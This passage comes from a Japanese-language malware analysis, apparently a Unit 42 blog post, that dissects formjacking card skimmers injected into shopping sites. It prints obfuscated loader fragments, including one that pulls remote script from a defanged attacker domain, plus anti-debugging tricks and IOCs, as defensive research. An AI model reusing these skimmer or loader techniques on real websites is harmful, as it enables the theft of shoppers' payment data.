monospace;\">F8S<\/span>\u95a2\u6570\u304c\u547c\u3073\u51fa\u3055\u308c\u3001\u53ce\u96c6\u3057\u305f\u30c7\u30fc\u30bf\u3092\u6697\u53f7\u5316\u3057\u307e\u3059\u3002<\/li>\n<li>\u6700\u5f8c\u306b<span style=\"font-family: 'courier new', courier, monospace;\">wIW<\/span>\u95a2\u6570\u304c\u547c\u3073\u51fa\u3055\u308c\u3066\u6697\u53f7\u5316\u3057\u305f\u30c7\u30fc\u30bf\u3092\u30ea\u30e2\u30fc\u30c8\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3057\u307e\u3059\u3002<\/li>\n<\/ul>\n<p>\u4e3b\u306a\u51e6\u7406\u306e\u6d41\u308c\u3092\u6b21\u306e\u56f32\u306b\u793a\u3057\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_106850\" aria-describedby=\"caption-attachment-106850\" style=\"width: 1173px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-106850 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/04\/word-image-69.png\" alt=\"\u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u306e\u51e6\u7406\u306e\u6d41\u308c\" width=\"1173\" height=\"501\" \/><figcaption id=\"caption-attachment-106850\" class=\"wp-caption-text\">\u56f3 2. \u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u306e\u51e6\u7406\u306e\u6d41\u308c<\/figcaption><\/figure>\n<p>\u3088\u3046\u3059\u308b\u306b\u300c\u30af\u30ea\u30c3\u30af\u300d\u30a4\u30d9\u30f3\u30c8\u3092\u30ea\u30c3\u30b9\u30f3\u3057\u3001\u30af\u30ea\u30c3\u30af\u30a4\u30d9\u30f3\u30c8\u304c\u767a\u751f\u3059\u308c\u3070\u30d5\u30a9\u30fc\u30e0\u306b\u5165\u529b\u3057\u305f\u3059\u3079\u3066\u306e\u652f\u6255\u3044\u60c5\u5831\u3092\u53ce\u96c6\u3057\u3066C2\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3059\u308b\u3001\u3068\u3044\u3046\u3053\u3068\u3067\u3059\u3002<\/p>\n<h3>\u9ad8\u5ea6\u306a\u4f8b<\/h3>\n<p>\u3053\u308c\u304c\u9ad8\u5ea6\u306a\u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u653b\u6483\u3060\u3068\u3001\u81ea\u8eab\u3092\u3088\u308a\u5de7\u5999\u306b\u96a0\u3057\u3066\u3044\u308b\u305f\u3081\u3001\u8ffd\u8de1\u304c\u975e\u5e38\u306b\u96e3\u3057\u304f\u306a\u308a\u307e\u3059\u3002\u3053\u306e\u5206\u6790\u3067\u306f\u4ee5\u4e0b\u306eSHA256\u5024\u3092\u3082\u3064\u30b5\u30f3\u30d7\u30eb\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002<\/p>\n<p>(SHA256: <span style=\"font-family: 'courier new', courier, monospace;\">5775efac071288ff6632056635f285b03bf2ab6d6dee1fd902555e256fe63119<\/span>)<\/p>\n<p>\u4e00\u898b\u3059\u308b\u3068\u3053\u3061\u3089\u306e\u30b3\u30fc\u30c9\u306f\u307b\u3093\u306e\u6570\u884c\u3060\u3051\u3068\u30b7\u30f3\u30d7\u30eb\u3067\u3059\u3002<\/p>\n<pre class=\"lang:default decode:true\">1.\r\nvar PFG=\"80y0y151n3a2p360w2r2s320w1p0w2s\".constructor;\r\n\u2026\r\n\r\n2.\r\nfor(...)\r\n{\r\nqKn+=...\r\n}\r\n\r\n3.\r\nvar hAn={};\r\nhAn[\"t\"+\"oStri\"+(70&gt;17?\"\\x6e\":\"\\x68\")+\"g\"]=PFG[\"con\"+(86&gt;33?\"\\x73\":\"\\\r\nx6b\")+\"t\"+\"ru\"+String.fromCharCode(99)+\"\r\ntor\"](qKn);\r\n\r\n4.\r\nqKn=hAn+\"e1l151n2s332r39312t32382j0y0y170y0y17141j1h1q<\/pre>\n<p>\u4e0a\u8a18\u306e4\u6bb5\u968e\u306f\u6b21\u306e\u3088\u3046\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<ol>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">PFG<\/span>\u3068\u3044\u3046\u5909\u6570\u3092\u751f\u6210\u3059\u308b\u3002\u3053\u308c\u306f\u6587\u5b57\u5217\u306e\u30b3\u30f3\u30b9\u30c8\u30e9\u30af\u30bf\u95a2\u6570\u3067\u3059\u3002<\/li>\n<li>\u30eb\u30fc\u30d7\u3092\u4f7f\u3063\u3066\u7b2c2\u6bb5\u968e\u306e\u30b3\u30fc\u30c9\u3092\u5fa9\u53f7\u3057\u3001\u5fa9\u53f7\u3057\u305f\u30b3\u30fc\u30c9\u3092<span style=\"font-family: 'courier new', courier, monospace;\">qKn<\/span> \u5909\u6570\u306b\u5272\u308a\u5f53\u3066\u307e\u3059\u3002<\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">hAn.toString<\/span>\u95a2\u6570\u3092<span style=\"font-family: 'courier new', courier, monospace;\">PFG.constructor(qKn).constructor<\/span>\u3067\u30aa\u30fc\u30d0\u30fc\u30e9\u30a4\u30c9\u3057\u307e\u3059\u3002<\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">hAn.toString()<\/span>\u95a2\u6570\u3092\u5b9f\u884c\u3059\u308b\u3068<span style=\"font-family: 'courier new', courier, monospace;\"><span style=\"font-family: georgia, palatino, serif;\">\"<\/span>xxx<span style=\"font-family: georgia, palatino, serif;\">\"<\/span>.constructor(qKn).constructor()<\/span>\u304c\u5b9f\u884c\u3055\u308c\u3001\u3053\u308c\u304c<span style=\"font-family: 'courier new', courier, monospace;\">qKn<\/span>\u3092\u30b3\u30fc\u30c9\u3068\u3057\u3066\u5b9f\u884c\u3057\u307e\u3059\u30022\u30b9\u30c6\u30c3\u30d7\u76ee\u3067<span style=\"font-family: 'courier new', courier, monospace;\">qKn<\/span>\u306b\u306f\u7b2c2\u6bb5\u968e\u306e\u30b3\u30fc\u30c9\u304c\u5272\u308a\u5f53\u3066\u3089\u308c\u3066\u3044\u307e\u3059\u3002<\/li>\n<\/ol>\n<p>\u6b21\u306b\u7b2c2\u6bb5\u968e\u306e\u30b3\u30fc\u30c9\u3092\u5206\u6790\u3057\u3066\u3044\u304d\u307e\u3059\u3002\u3053\u306e\u30b3\u30fc\u30c9\u306e\u30cf\u30c3\u30b7\u30e5\u5024\u306f\u6b21\u306e\u3068\u304a\u308a\u3067\u3059\u3002<\/p>\n<p>(SHA256:<span style=\"font-family: 'courier new', courier, monospace;\">1e4300dff5e0978092102028487c08267b74fb3beef14faa56b0f1a3fbc53ae4<\/span>)<\/p>\n<pre class=\"lang:default decode:true\">1.\r\nvar cdn = document[\"createElement\"](\"_s!cCr_i0p~=t\" \r\n[\"replace\"](\/[0C\\!\\_\\=\\~]\/g, \"\"));\r\n...\r\n2.\r\ncdn[\"src\"] = \r\n\"]qhft+tw8pvsB:Q\/w\/KmlkybxFi;nPtYBa9d8.zcu9oA[ml\/VjFNs@\/3Zc@oX(n85tge\r\nGnQtA.Lj[s\" [(2709681237 *\r\n\"\\x89se-}]ucS\" [\"length\"] + \r\n0.0)[\"toString\"]((\"\\x81f8OSZ^*.5#\\x60x\\x7f|Pn$]~\" [\"charCodeAt\"](7) * \r\n0 + 31.0))](\/\r\n[bP\\+\\]9fk8GFYglv\\[\\@K\\(VXLqBwZ5uzQ\\;AN3]\/g, \"\");\r\n...\r\n3.\r\ndocument[\"body\"][\"appendChild\"](cdn);<\/pre>\n<p>\u5148\u306b\u8aac\u660e\u3057\u305f\u3068\u304a\u308a\u3001\u3053\u3053\u3067\u306f\u300c\u6b63\u898f\u8868\u73fe\u300d\u304c\u30b3\u30fc\u30c9\u306e\u96e3\u8aad\u5316\u306b\u5229\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u5fa9\u53f7\u3059\u308b\u3068\u3001\u3053\u308c\u304c\u5358\u306a\u308b\u30c0\u30a6\u30f3\u30ed\u30fc\u30c0\u3067\u3001\u4ee5\u4e0b\u306e\u5185\u5bb9\u3057\u304b\u884c\u3063\u3066\u3044\u306a\u3044\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3059\u3002<\/p>\n<ol>\n<li>DOM\u8981\u7d20 <span style=\"font-family: 'courier new', courier, monospace;\">cdn=document.createElement(\"script\")<\/span>\u3092\u751f\u6210\u3059\u308b<\/li>\n<li>\u8981\u7d20\u306e\u30bd\u30fc\u30b9URL\u3092<span style=\"font-family: 'courier new', courier, monospace;\">cdn.src=\"hxxps:\/\/xxxxxx[.]com\/js\/content.js\";<\/span>\u306b\u8a2d\u5b9a\u3059\u308b<\/li>\n<li>\u3053\u306e\u8981\u7d20\u3092DOM\u30c4\u30ea\u30fc\u306b\u30a2\u30da\u30f3\u30c9\u3059\u308b<\/li>\n<\/ol>\n<p>\u3064\u307e\u308a\u3053\u306e\u30b3\u30fc\u30c9\u306f\u7b2c3\u6bb5\u968e\u306e\u30b3\u30fc\u30c9\u3092<span style=\"font-family: 'courier new', courier, monospace;\">hxxps:\/\/myxintad[.]com\/js\/content.js<\/span>\u304b\u3089\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u308f\u3051\u3067\u3059\u304c\u3001\u3053\u306eURL\u306b\u306f\u3059\u3067\u306b\u30a2\u30af\u30bb\u30b9\u304c\u3067\u304d\u306a\u304f\u306a\u3063\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u305f\u3081\u5185\u5bb9\u306f\u53d6\u5f97\u3067\u304d\u3066\u3044\u307e\u305b\u3093\u304c\u3001\u4ee5\u524d\u884c\u3063\u305f\u5206\u6790\u306e\u7d50\u679c\u304b\u3089\u306f\u3001\u5f37\u529b\u306aJavaScript\u3092\u4f7f\u3048\u3070\u653b\u6483\u8005\u306b\u306f\u3058\u3064\u306b\u69d8\u3005\u306a\u3053\u3068\u304c\u884c\u3048\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u6b21\u306e\u3088\u3046\u306a\u3053\u3068\u304c\u884c\u3048\u308b\u306e\u3067\u3059\u3002<\/p>\n<ul>\n<li style=\"list-style-type: none;\">\n<ul style=\"list-style-type: disc;\">\n<li>\u30b3\u30fc\u30c9\u306e\u96e3\u8aad\u5316\u3068\u6697\u53f7\u5316<\/li>\n<li>\u6a19\u7684\u306eWeb\u30b5\u30a4\u30c8\u306b\u306f\u30c0\u30a6\u30f3\u30ed\u30fc\u30c0\u3060\u3051\u3092\u914d\u7f6e\u3057\u3066\u304a\u304d\u3001\u5b9f\u969b\u306e\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u306f\u81ea\u8eab\u306e\u30ea\u30e2\u30fc\u30c8\u30b5\u30fc\u30d0\u30fc\u4e0a\u306b\u914d\u7f6e\u3059\u308b\u3002\u3053\u3046\u3057\u3066\u304a\u3051\u3070\u3001\u653b\u6483\u8005\u306f\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u305f\u3084\u3059\u304f\u5909\u66f4\u3067\u304d\u3001\u30a2\u30af\u30bb\u30b9\u53ef\u80fd\u306b\u3059\u308b\u671f\u9593\u3082\u6c7a\u3081\u308b\u3053\u3068\u304c\u3067\u304d\u308b<\/li>\n<li>\u591a\u6bb5\u968e\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u4f5c\u6210\u3057\u3066\u8ffd\u8de1\u304c\u3088\u308a\u56f0\u96e3\u3068\u306a\u308b\u3088\u3046\u306b\u3059\u308b\u3002\u3053\u3053\u3067\u3082\u7b2c1\u6bb5\u968e\u304b\u3089\u7b2c3\u6bb5\u968e\u307e\u3067\u3042\u3063\u3066\u3001\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u306b\u3068\u3063\u3066\u306f\u5927\u304d\u306a\u30b9\u30c8\u30ec\u30b9\u306e\u3082\u3068\u306b<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h3>\u3055\u3089\u306b\u9ad8\u5ea6\u306a\u30c6\u30af\u30cb\u30c3\u30af<\/h3>\n<p>\u30de\u30eb\u30a6\u30a7\u30a2\u4f5c\u6210\u8005\u306f\u5834\u5408\u306b\u3088\u3063\u3066\u306f\u3055\u3089\u306b\u9ad8\u5ea6\u306a\u30c6\u30af\u30cb\u30c3\u30af\u3092\u4f7f\u3044\u3001\u30b3\u30fc\u30c9\u3092\u30c7\u30d0\u30c3\u30b0\u3057\u306b\u304f\u304f\u3057\u307e\u3059\u3002\u6b21\u306e\u5206\u6790\u3067\u306f\u4ee5\u4e0b\u306eSHA256\u5024\u3092\u3082\u3064\u30b5\u30f3\u30d7\u30eb\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002\u4e0a\u8a18\u3067\u5206\u6790\u3057\u305f\u3082\u306e\u3068\u3088\u304f\u4f3c\u3066\u3044\u307e\u3059\u304c\u3001\u4ee5\u4e0b\u306b\u306f\u96e3\u8aad\u5316\u3055\u308c\u305f\u8ffd\u52a0\u306e\u30a2\u30f3\u30c1\u30c7\u30d0\u30c3\u30b0\u30b3\u30fc\u30c9\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>(SHA256:<span style=\"font-family: 'courier new', courier, monospace;\">981d0c4d7e1d9249f3c0f59021f02c171233a5259ebda20a671e13d474fb74ec<\/span>)<\/p>\n<pre class=\"lang:default decode:true\">i&amp;&amp;t||!(window[\"\"+(69&gt;36?\"\\x46\":\"\\x3f\")+\"ir\"+\"ebu\"+(69&gt;16?\"\\x67\":\"\\x5\r\nf\")+\"\"]&amp;&amp;window[\"\"+(64&gt;43?\"\\x46\":\"\\x3d\")+\"\r\nir\"+\"ebu\"+(61&gt;21?\"\\x67\":\"\\x5d\")+\"\"][\"c\"+\"hr\"+(85&gt;21?\"\\x6f\":\"\\x69\")+\"m\r\ne\"]&amp;&amp;window[\"Fi\"+(54&gt;43?\"\\x72\":\"\\x68\")+\"e\"\r\n+\"\"+(70&gt;31?\"\\x62\":\"\\x59\")+\"ug\"][\"chr\"+(76&gt;48?\"\\x6f\":\"\\x66\")+\"\"+\"m\"+(9\r\n9&gt;29?\"\\x65\":\"\\x60\")+\"\"][\"isIni\"+(76&gt;22?\"\r\n\\x74\":\"\\x6d\")+\"\"+\"\"+(63&gt;30?\"\\x69\":\"\\x61\")+\"alized\"]||t||i)?\r\n....................<\/pre>\n<p>\u3053\u306e\u96e3\u8aad\u5316\u3092\u89e3\u9664\u3057\u305f\u30b3\u30fc\u30c9\u306f\u6b21\u306e\u3068\u304a\u308a\u3067\u3059\u3002<\/p>\n<pre class=\"lang:default decode:true\">i &amp;&amp; t || !(window[\"Firebug\"] &amp;&amp; window[\"Firebug\"][\"chrome\"] &amp;&amp; \r\nwindow[\"Firebug\"][\"chrome\"][\"isInitialized\"] || t || i) ?<\/pre>\n<p>\u3053\u306e\u30b3\u30fc\u30c9\u306f\u6b21\u306e2\u3064\u306e\u30c6\u30af\u30cb\u30c3\u30af\u3092\u4f7f\u3044\u3001\u5206\u6790\u304c\u3055\u308c\u306b\u304f\u3044\u3088\u3046\u306b\u3057\u3066\u3042\u308a\u307e\u3059\u3002<\/p>\n<ol>\n<li>\u5206\u6790\u8005\u304cFirebug\u30c7\u30d0\u30c3\u30ac\u3092\u4f7f\u3063\u3066\u30b3\u30fc\u30c9\u3092\u30c7\u30d0\u30c3\u30b0\u3057\u3066\u3044\u308b\u304b\u3069\u3046\u304b\u3092\u30c1\u30a7\u30c3\u30af\u3059\u308b<\/li>\n<li>JavaScript\u306e\u6761\u4ef6\u6f14\u7b97\u5b50\u3092\u4f7f\u3044\u3001\u691c\u51fa\u7d50\u679c\u306b\u3088\u3063\u3066\u5225\u306e\u6761\u4ef6\u7bc0\u3092\u5b9f\u884c\u3055\u305b\u308b\u3002\u5834\u5408\u306b\u3088\u3063\u3066\u306f\u308f\u3056\u308f\u3056javascript\u306e\u6761\u4ef6\u6f14\u7b97\u5b50\u3092\u30ab\u30b9\u30b1\u30fc\u30c9\u3055\u305b\u305f\u308a\u3082\u3059\u308b\uff08\u4f8b: \"<span style=\"font-family: 'courier new', courier, monospace;\">condition1 ?aaa: (condition2?bbb: (condition3?ccc: ddd)))<\/span>\"\uff09\u3002\u3053\u3046\u306a\u308b\u3068\u30c7\u30d0\u30c3\u30b0\u306e\u30d6\u30ec\u30fc\u30af\u30dd\u30a4\u30f3\u30c8\u8a2d\u5b9a\u304c\u3072\u305f\u3059\u3089\u9762\u5012\u306b\u306a\u308a\u307e\u3059\u3002<\/li>\n<\/ol>\n<h2>\u7d50\u8ad6<\/h2>\n<p>JavaScript\u306f\u3051\u3063\u3057\u3066\u65b0\u3057\u3044\u30c6\u30af\u30ce\u30ed\u30b8\u3068\u3044\u3046\u308f\u3051\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002\u3053\u308c\u307e\u306720\u5e74\u4ee5\u4e0a\u4f7f\u308f\u308c\u3066\u304d\u3066\u3044\u307e\u3059\u3057\u7d76\u3048\u305a\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3082\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u4eca\u65e5\u307b\u3068\u3093\u3069\u306eWeb\u30b5\u30a4\u30c8\u306b\u306fJavascript\u304c\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u306e\u3067\u3001\u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u306e\u3088\u3046\u306aJavaScript\u3092\u4f7f\u3063\u305f\u653b\u6483\u306f\u30c8\u30ec\u30f3\u30c9\u306b\u306a\u308a\u3064\u3064\u3068\u79c1\u305f\u3061\u306f\u898b\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u653b\u6483\u306b\u3088\u308b\u30ea\u30b9\u30af\u3092\u7de9\u548c\u3059\u308b\u305f\u3081\u3001\u30aa\u30f3\u30e9\u30a4\u30f3\u3067\u5c0f\u58f2\u696d\u3084EC\u30b5\u30a4\u30c8\u3092\u55b6\u3080\u7686\u3055\u3093\u306f\u3001\u81ea\u793e\u306e\u30b7\u30b9\u30c6\u30e0\u3084\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u3001Web\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u3059\u3079\u3066\u306b\u30d1\u30c3\u30c1\u3092\u9069\u7528\u3057\u3001\u4fb5\u5bb3\u3092\u53d7\u3051\u306a\u3044\u3088\u3046\u306b\u3057\u3066\u304a\u304f\u3053\u3068\u304c\u63a8\u5968\u3055\u308c\u307e\u3059\u3002\u3042\u308f\u305b\u3066\u3001\u5b9a\u671f\u7684\u306bWeb\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u6574\u5408\u6027\u30c1\u30a7\u30c3\u30af\u3092\u30aa\u30d5\u30e9\u30a4\u30f3\u3067\u5b9f\u884c\u3059\u308b\u3053\u3068\u3067\u3001\u653b\u6483\u8005\u306b\u30da\u30fc\u30b8\u304c\u7de8\u96c6\u3055\u308c\u3066\u3044\u306a\u3044\u304b\u3001\u60aa\u610f\u306e\u3042\u308bJS\u30b3\u30fc\u30c9\u304c\u633f\u5165\u3055\u308c\u3066\u3044\u306a\u3044\u304b\u3092\u78ba\u8a8d\u3059\u308b\u306e\u304c\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9\u3068\u3044\u3048\u308b\u3067\u3057\u3087\u3046\u3002\u6700\u5f8c\u306b\u30b3\u30f3\u30c6\u30f3\u30c4\u7ba1\u7406\u30b7\u30b9\u30c6\u30e0\uff08CMS\uff09\u306e\u7ba1\u7406\u8005\u306f\u3001\u5f37\u529b\u306a\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u30d6\u30eb\u30fc\u30c8\u30d5\u30a9\u30fc\u30b9\u653b\u6483\u3092\u53d7\u3051\u306b\u304f\u304f\u3057\u3066\u304a\u304f\u3079\u304d\u3067\u3057\u3087\u3046\u3002<\/p>\n<p>\u3054\u81ea\u8eab\u304cEC\u30b5\u30a4\u30c8\u3067\u8cb7\u3044\u7269\u3092\u3059\u308b\u6d88\u8cbb\u8005\u3067\u3042\u308b\u5834\u5408\u306f\u3001PayPal\u3084VISA Secured\u306a\u3069\u3001\u3088\u304f\u5229\u7528\u3055\u308c\u3066\u3044\u308b\u30ef\u30f3\u30bf\u30a4\u30e0\u306e\u652f\u6255\u3044\u30aa\u30d7\u30b7\u30e7\u30f3\u3092\u4f7f\u3063\u3066\u652f\u6255\u3044\u3092\u3059\u308b\u3053\u3068\u3092\u304a\u52e7\u3081\u3057\u307e\u3059\u3002\u3067\u304d\u308b\u304b\u304e\u308a\u3001\u3054\u81ea\u8eab\u306e\u30af\u30ec\u30b8\u30c3\u30c8\u30ab\u30fc\u30c9\u3092\u5229\u7528\u3059\u308b\u306e\u306f\u63a7\u3048\u307e\u3057\u3087\u3046\u3002\u307e\u305f\u6700\u8fd1\u306e\u30aa\u30f3\u30e9\u30a4\u30f3\u53d6\u5f15\u304c\u539f\u56e0\u3067\u30af\u30ec\u30b8\u30c3\u30c8\u30ab\u30fc\u30c9\u60c5\u5831\u304c\u76d7\u307e\u308c\u305f\u3068\u4fe1\u3058\u308b\u7406\u7531\u304c\u3042\u308b\u5834\u5408\u306f\u3001\u3059\u3050\u306b\u9280\u884c\u306b\u9023\u7d61\u3057\u3066\u30ab\u30fc\u30c9\u306e\u5229\u7528\u505c\u6b62\u30fb\u518d\u767a\u884c\u3092\u3057\u3066\u3082\u3089\u3046\u3079\u304d\u3067\u3057\u3087\u3046\u3002\u304f\u308f\u3048\u3066\u3001\u76d7\u307e\u308c\u305f\u500b\u4eba\u60c5\u5831\u3067\u65b0\u3057\u3044\u30a2\u30ab\u30a6\u30f3\u30c8\u3092\u958b\u8a2d\u3067\u304d\u306a\u3044\u3088\u3046\u3001\u30af\u30ec\u30b8\u30c3\u30c8\u51cd\u7d50\u3082\u691c\u8a0e\u3059\u3079\u304d\u3067\u3057\u3087\u3046\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u88fd\u54c1\u3092\u304a\u4f7f\u3044\u306e\u304a\u5ba2\u69d8\u306f\u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u653b\u6483\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002WildFire\u306f\u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u653b\u6483\u3092\u60aa\u610f\u306e\u3042\u308b\u3082\u306e\u3068\u3057\u3066\u691c\u51fa\u3057\u3066\u6b63\u3057\u304f\u8b58\u5225\u3057\u3001PANDB\u306fURL\u3092\u60aa\u610f\u306e\u3042\u308b\u3082\u306e\u3068\u3057\u3066\u8b58\u5225\u3057\u307e\u3059\u3002<\/p>\n<h3>\u8b1d\u8f9e<\/h3>\n<p>Kyle Wilhoit\u6c0f\u3001Jen Miller Osborn\u6c0f\u3001\u306a\u3089\u3073\u306bMark Karayan\u6c0f\u306b\u306f\u672c\u7a3f\u306b\u52a9\u8a00\u3092\u3044\u305f\u3060\u304d\u3001\u307e\u305f\u5185\u5bb9\u6539\u5584\u306b\u3054\u5354\u529b\u3044\u305f\u3060\u304d\u307e\u3057\u305f\u3002\u3053\u3053\u306b\u539a\u304f\u304a\u793c\u7533\u3057\u4e0a\u3052\u307e\u3059\u3002\u3042\u308a\u304c\u3068\u3046\u3054\u3056\u3044\u307e\u3057\u305f\u3002<\/p>\n<h3>IOC<\/h3>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">hxxps:\/\/www.cheshirehorse[.]com\/<\/span><\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">a79da1f007cfc88e4f8ae13623e2b752d2da03bcf9d51a74ea1fca2e6e6fca14<\/span><\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">hxxp:\/\/92wear[.]vn\/<\/span><\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">5775efac071288ff6632056635f285b03bf2ab6d6dee1fd902555e256fe63119<\/span><\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">1e4300dff5e0978092102028487c08267b74fb3beef14faa56b0f1a3fbc53ae4<\/span><\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">hxxps:\/\/www.posterburner[.]com\/SavedSession.aspx?SID=3Daba5c976c3f441ecbf449=<\/span><\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">981d0c4d7e1d9249f3c0f59021f02c171233a5259ebda20a671e13d474fb74ec<\/span><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6982\u8981 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content=\"\u60aa\u610f\u306e\u3042\u308bJavaScript\u30b3\u30fc\u30c9\u3092\u633f\u5165\u3057\u3066\u30b5\u30a4\u30c8\u306e\u30d5\u30a9\u30fc\u30e0\u30da\u30fc\u30b8\u6a5f\u80fd\u3092\u4e57\u3063\u53d6\u308a\u3001\u30af\u30ec\u30b8\u30c3\u30c8\u30ab\u30fc\u30c9\u3084\u500b\u4eba\u60c5\u5831\u306a\u3069\u306e\u6a5f\u5fae\u60c5\u5831\u3092\u53ce\u96c6\u3059\u308b\u300c\u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u300d\u653b\u6483\u306f\u3001\u6700\u3082\u6025\u901f\u306b\u6210\u9577\u3057\u3066\u3044\u308b\u30b5\u30a4\u30d0\u30fc\u653b\u6483\u306e1\u3064\u3067\u3059\u3002\u672c\u7a3f\u3067\u306f\u305d\u306e\u624b\u53e3\u3068\u51e6\u7406\u306e\u6d41\u308c\u3092\u89e3\u8aac\u3057\u307e\u3059\u3002\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/anatomy-of-formjacking-attacks\/\" \/>\n<meta property=\"og:locale\" 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